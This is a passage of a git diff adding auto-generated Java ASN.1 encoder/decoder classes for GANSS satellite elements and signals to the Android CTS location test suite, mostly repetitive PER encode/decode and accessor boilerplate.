+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "eventOccuredType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class futureEventNotedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_futureEventNotedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public futureEventNotedType() {
+ super();
+ setMinSize(64);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_futureEventNotedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_futureEventNotedType != null) {
+ return ImmutableList.of(TAG_futureEventNotedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new futureEventNotedType from encoded stream.
+ */
+ public static futureEventNotedType fromPerUnaligned(byte[] encodedBytes) {
+ futureEventNotedType result = new futureEventNotedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new futureEventNotedType from encoded stream.
+ */
+ public static futureEventNotedType fromPerAligned(byte[] encodedBytes) {
+ futureEventNotedType result = new futureEventNotedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "futureEventNotedType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSSatEventsInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatelliteElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatelliteElement.java
new file mode 100755
index 0000000..4958cce
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatelliteElement.java
@@ -0,0 +1,912 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSSatelliteElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSSatelliteElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSSatelliteElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSSatelliteElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSSatelliteElement != null) {
+ return ImmutableList.of(TAG_GANSSSatelliteElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSSatelliteElement from encoded stream.
+ */
+ public static GANSSSatelliteElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSSSatelliteElement result = new GANSSSatelliteElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSSatelliteElement from encoded stream.
+ */
+ public static GANSSSatelliteElement fromPerAligned(byte[] encodedBytes) {
+ GANSSSatelliteElement result = new GANSSSatelliteElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private GANSSSatelliteElement.svHealthType svHealth_;
+ public GANSSSatelliteElement.svHealthType getSvHealth() {
+ return svHealth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSatelliteElement.svHealthType
+ */
+ public void setSvHealth(Asn1Object value) {
+ this.svHealth_ = (GANSSSatelliteElement.svHealthType) value;
+ }
+ public GANSSSatelliteElement.svHealthType setSvHealthToNewInstance() {
+ svHealth_ = new GANSSSatelliteElement.svHealthType();
+ return svHealth_;
+ }
+
+ private GANSSSatelliteElement.iodType iod_;
+ public GANSSSatelliteElement.iodType getIod() {
+ return iod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSatelliteElement.iodType
+ */
+ public void setIod(Asn1Object value) {
+ this.iod_ = (GANSSSatelliteElement.iodType) value;
+ }
+ public GANSSSatelliteElement.iodType setIodToNewInstance() {
+ iod_ = new GANSSSatelliteElement.iodType();
+ return iod_;
+ }
+
+ private GANSSClockModel ganssClockModel_;
+ public GANSSClockModel getGanssClockModel() {
+ return ganssClockModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSClockModel
+ */
+ public void setGanssClockModel(Asn1Object value) {
+ this.ganssClockModel_ = (GANSSClockModel) value;
+ }
+ public GANSSClockModel setGanssClockModelToNewInstance() {
+ ganssClockModel_ = new GANSSClockModel();
+ return ganssClockModel_;
+ }
+
+ private GANSSOrbitModel ganssOrbitModel_;
+ public GANSSOrbitModel getGanssOrbitModel() {
+ return ganssOrbitModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSOrbitModel
+ */
+ public void setGanssOrbitModel(Asn1Object value) {
+ this.ganssOrbitModel_ = (GANSSOrbitModel) value;
+ }
+ public GANSSOrbitModel setGanssOrbitModelToNewInstance() {
+ ganssOrbitModel_ = new GANSSOrbitModel();
+ return ganssOrbitModel_;
+ }
+
+
+
+ private GANSSSatelliteElement.svHealthMSBType extensionSvHealthMSB;
+ public GANSSSatelliteElement.svHealthMSBType getExtensionSvHealthMSB() {
+ return extensionSvHealthMSB;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSatelliteElement.svHealthMSBType
+ */
+ public void setExtensionSvHealthMSB(Asn1Object value) {
+ extensionSvHealthMSB = (GANSSSatelliteElement.svHealthMSBType) value;
+ }
+ public void setExtensionSvHealthMSBToNewInstance() {
+ extensionSvHealthMSB = new GANSSSatelliteElement.svHealthMSBType();
+ }
+
+ private GANSSSatelliteElement.iodMSBType extensionIodMSB;
+ public GANSSSatelliteElement.iodMSBType getExtensionIodMSB() {
+ return extensionIodMSB;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSatelliteElement.iodMSBType
+ */
+ public void setExtensionIodMSB(Asn1Object value) {
+ extensionIodMSB = (GANSSSatelliteElement.iodMSBType) value;
+ }
+ public void setExtensionIodMSBToNewInstance() {
+ extensionIodMSB = new GANSSSatelliteElement.iodMSBType();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvHealth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvHealth();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvHealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSatelliteElement.svHealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svHealth : "
+ + getSvHealth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getIod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIod();
+ }
+
+ @Override public void setToNewInstance() {
+ setIodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSatelliteElement.iodType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "iod : "
+ + getIod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssClockModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssClockModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssClockModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSClockModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssClockModel : "
+ + getGanssClockModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssOrbitModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssOrbitModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssOrbitModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSOrbitModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssOrbitModel : "
+ + getGanssOrbitModel().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionSvHealthMSB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionSvHealthMSB();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionSvHealthMSBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svHealthMSB : "
+ + getExtensionSvHealthMSB().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionIodMSB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionIodMSB();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionIodMSBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "iodMSB : "
+ + getExtensionIodMSB().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class svHealthType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_svHealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public svHealthType() {
+ super();
+ setMinSize(5);
+setMaxSize(5);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_svHealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_svHealthType != null) {
+ return ImmutableList.of(TAG_svHealthType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new svHealthType from encoded stream.
+ */
+ public static svHealthType fromPerUnaligned(byte[] encodedBytes) {
+ svHealthType result = new svHealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new svHealthType from encoded stream.
+ */
+ public static svHealthType fromPerAligned(byte[] encodedBytes) {
+ svHealthType result = new svHealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "svHealthType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class iodType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_iodType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public iodType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_iodType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_iodType != null) {
+ return ImmutableList.of(TAG_iodType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new iodType from encoded stream.
+ */
+ public static iodType fromPerUnaligned(byte[] encodedBytes) {
+ iodType result = new iodType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new iodType from encoded stream.
+ */
+ public static iodType fromPerAligned(byte[] encodedBytes) {
+ iodType result = new iodType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "iodType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class svHealthMSBType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_svHealthMSBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public svHealthMSBType() {
+ super();
+ setMinSize(1);
+setMaxSize(1);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_svHealthMSBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_svHealthMSBType != null) {
+ return ImmutableList.of(TAG_svHealthMSBType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new svHealthMSBType from encoded stream.
+ */
+ public static svHealthMSBType fromPerUnaligned(byte[] encodedBytes) {
+ svHealthMSBType result = new svHealthMSBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new svHealthMSBType from encoded stream.
+ */
+ public static svHealthMSBType fromPerAligned(byte[] encodedBytes) {
+ svHealthMSBType result = new svHealthMSBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "svHealthMSBType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class iodMSBType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_iodMSBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public iodMSBType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_iodMSBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_iodMSBType != null) {
+ return ImmutableList.of(TAG_iodMSBType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new iodMSBType from encoded stream.
+ */
+ public static iodMSBType fromPerUnaligned(byte[] encodedBytes) {
+ iodMSBType result = new iodMSBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new iodMSBType from encoded stream.
+ */
+ public static iodMSBType fromPerAligned(byte[] encodedBytes) {
+ iodMSBType result = new iodMSBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "iodMSBType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSSatelliteElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignalID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignalID.java
new file mode 100755
index 0000000..be399bb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignalID.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSSignalID extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GANSSSignalID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSSignalID() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSSignalID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSSignalID != null) {
+ return ImmutableList.of(TAG_GANSSSignalID);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSSignalID from encoded stream.
+ */
+ public static GANSSSignalID fromPerUnaligned(byte[] encodedBytes) {
+ GANSSSignalID result = new GANSSSignalID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSSignalID from encoded stream.
+ */
+ public static GANSSSignalID fromPerAligned(byte[] encodedBytes) {
+ GANSSSignalID result = new GANSSSignalID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSSignalID = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignals.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignals.java
new file mode 100755
index 0000000..a7b222f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignals.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSSignals extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_GANSSSignals
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSSignals() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSSignals;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSSignals != null) {
+ return ImmutableList.of(TAG_GANSSSignals);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSSignals from encoded stream.
+ */
+ public static GANSSSignals fromPerUnaligned(byte[] encodedBytes) {
+ GANSSSignals result = new GANSSSignals();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSSignals from encoded stream.
+ */
+ public static GANSSSignals fromPerAligned(byte[] encodedBytes) {
+ GANSSSignals result = new GANSSSignals();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
